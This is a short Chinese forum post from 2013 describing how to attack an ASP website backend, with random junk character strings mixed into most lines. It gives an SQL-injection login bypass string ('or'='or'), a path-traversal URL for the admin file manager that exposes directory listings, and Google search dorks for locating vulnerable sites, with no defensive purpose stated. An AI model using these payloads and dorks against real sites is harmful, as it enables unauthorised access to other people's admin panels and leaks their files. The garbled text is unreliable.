后台万能密码 'or'='or'$ f# b! v! j- W, x
8 F) ?6 K) g7 R# z& C# y7 U# f
后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！
% `# K9 F$ C+ l* x- v: iadmin/uploadfile.asp?currentFolder=/upfiles/../
7 c" G- L- M) k# r
* Q% d( P1 h" N, F漏洞证明：# }' q( S- T2 n |8 C
" y/ {5 f; g. _谷歌：inurl:type.asp?id=1 新闻中心- d# T6 v+ z" L2 p, d- C/ R9 T
或者 ：inurl:download_ok.asp?
0 C! T) N4 F o* q4 [
" O# t5 s0 W; n1 \$ O |
发表于 2013-3-14 20:17:32
收藏
支持
反对